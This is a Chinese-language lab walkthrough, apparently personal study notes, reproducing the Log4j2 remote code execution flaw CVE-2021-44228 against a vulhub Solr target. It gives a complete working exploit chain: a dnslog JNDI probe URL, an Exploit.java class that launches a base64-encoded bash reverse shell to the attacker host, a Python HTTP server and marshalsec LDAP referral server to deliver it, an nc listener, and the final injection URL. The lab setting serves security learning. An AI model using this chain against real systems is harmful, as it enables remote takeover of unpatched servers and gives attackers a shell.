log4j2漏洞复现2¶
1. log4j2远程代码执行漏洞原理¶
CVE编号: CVE-2021-44228
学习文章:log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客
搭建漏洞复现环境:¶
系统:ubuntu 21.04 desktop
靶场:vulhub
sudo apt install docker.io -y
sudo apt install docker-compose -y
git clone https://github.com/vulhub/vulhub.git
cd /home/user/Desktop/vulhub-master/log4j/CVE-2021-44228
docker-compose up -d #启动靶场,并按照配置文件拉取镜。像生成实例。
docker-compose down #停止靶场
测试IP网段 192.168.48.0/24
攻击机IP: 192.168.48.131
靶机IP: 192.168.48.147
访问靶场是是否在线 : 192.168.48.147:8983
使用dnslog进行漏洞监测¶
http://dnslog.cn/
点击Get SubDomain 获取临时域名。
注意别忘了将url中的ip改为靶机ip,注入部分中的t2jt3b.dnslog.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。
在浏览器中访问:
http://192.168.48.147:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.t2jt3b.dnslog.cn}
后台版本如果是java 1.8 可能就存在漏洞。
2.log4j2漏洞复现步骤:¶
- 在攻击机上面写好payload到 → Exploit.java
payload = bash -i >& /dev/tcp/192.168.48.131/7777 0>&1 使用bash64编码 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjEzMS83Nzc3IDA+JjEKCg==}|{base64,-d}|{bash,-i}
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjEzMS83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
将Exploit.class放入攻击机的任意一个目录中,在此目录中,打开shell 执行
python -m http.server 4445 //端口随意
访问一下: http://192.168.48.131:4445/ (是否能正常运行)
下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar, 用这个工具建立LDAP服务。
git clone [https://github.com/mbechler/marshalsec](https://github.com/mbechler/marshalsec)
sudo apt-get install maven
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.48.131:4445/#Exploit" 1389
3.LDAP服务¶
LDAP 服务LDAP是轻量级目录访问协议(Lightweight Directory Access Protocol),它提供了一种标准化的方式来访问和维护分布式目录服务,如 Active Directory 或 OpenLDAP。LDAP协议基于客户端/服务器模型,并且使用TCP/IP协议通信。
通过LDAP服务,用户可以使用单一凭证登录到多种应用程序和服务。LDAP服务还可以帮助组织中的管理员进行身份验证和授权,以管理组织中的用户和资源。
LDAP服务通常用于企业级环境中。它可以提高用户管理和访问控制的效率,同时也可以提高系统的安全性。通过使用LDAP服务,组织可以实现统一的身份验证和授权机制,简化IT环境的管理。
kali 开启7777端口监听,监听payload反向连接shell。 nc -lvvp 7777
URL访问payload
[http://192.168.48.147:8983/solr/admin/cores?action=${jndi:ldap://192.168.48.131:1389/Exploit}](http://192.168.48.147:8983/solr/admin/cores?action=${jndi:ldap://192.168.48.131:1389/Exploit})
拿到反弹shell